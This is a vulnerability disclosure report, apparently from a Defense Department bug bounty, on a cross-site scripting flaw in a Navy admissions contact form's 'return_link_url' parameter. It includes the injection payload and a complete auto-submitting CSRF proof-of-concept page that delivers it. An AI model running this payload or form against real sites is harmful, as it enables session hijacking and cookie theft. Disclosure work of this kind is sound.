U.S. Dept Of Defense · Report #3137200
Cross-Site Scripting via 'return_link_url' parameter
How it was found
Description: I discovered a Cross-Site Scripting (XSS) vulnerability on ███████ , specifically through the POST method. This vulnerability allows an attacker to inject malicious scripts that could be executed, potentially leading to cookie theft, session hijacking, and other malicious actions.
Vulnerable parameter: return_link_url Payload: 'onmouseover='prompt(90702)
It's a official website from U.S. Navy: ████████
Impact
Exploitation of this vulnerability can lead to severe consequences, including but not limited: Session Hijacking: Attackers can steal cookies and impersonate legitimate users.
System Host(s)
████
Affected Product(s) and Version(s)
CVE Numbers
Steps to Reproduce
You have to open this code on a page/site that is yours:
<html>
<!-- CSRF PoC - generated by Burp Suite Professional -->
<body>
<form action="███" method="POST">
<input type="hidden" name="FirstName" value="WkYxnTGh" />
<input type="hidden" name="LastName" value="WkYxnTGh" />
<input type="hidden" name="Message" value="555" />
<input type="hidden" name="MiddleInitial" value="A" />
<input type="hidden" name="State" value="AL" />
<input type="hidden" name="email" value="testing@example.com" />
<input type="hidden" name="mysubmit" value="Submit" />
<input type="hidden" name="print_blank_fields" value="true" />
<input type="hidden" name="recipient" value="inquire@usna.edu" />
<input type="hidden" name="required" value="State,email,Message" />
<input type="hidden" name="resptext1" value="Thank you for your email." />
<input type="hidden" name="return_link_title" value="Click here to return to USNA Admissions website." />
<input type="hidden" name="return_link_url" value="http://www.usna.edu/Admissions'onmouseover='prompt(90702)" />
<input type="hidden" name="sort" value="none" />
<input type="hidden" name="subject" value="GENERAL ADMISSIONS QUESTION" />
<input type="hidden" name="title" value="Thank you for your email." />
<input type="hidden" name="useajax" value="silent" />
<input type="submit" value="Submit request" />
</form>
<script>
history.pushState('', '', '/');
document.forms[0].submit();
</script>
</body>
</html>
After opening the website with CSRF (to execute the POST method), move your cursor/mouse to:
███
If you want to find it easier, search for the word "return" on the page, using your browser. Hover your mouse/cursor over it and you will get an alert(1)
█████████
Suggested Mitigation/Remediation Actions
Apply context-dependent encoding and/or validation to user input rendered on a page.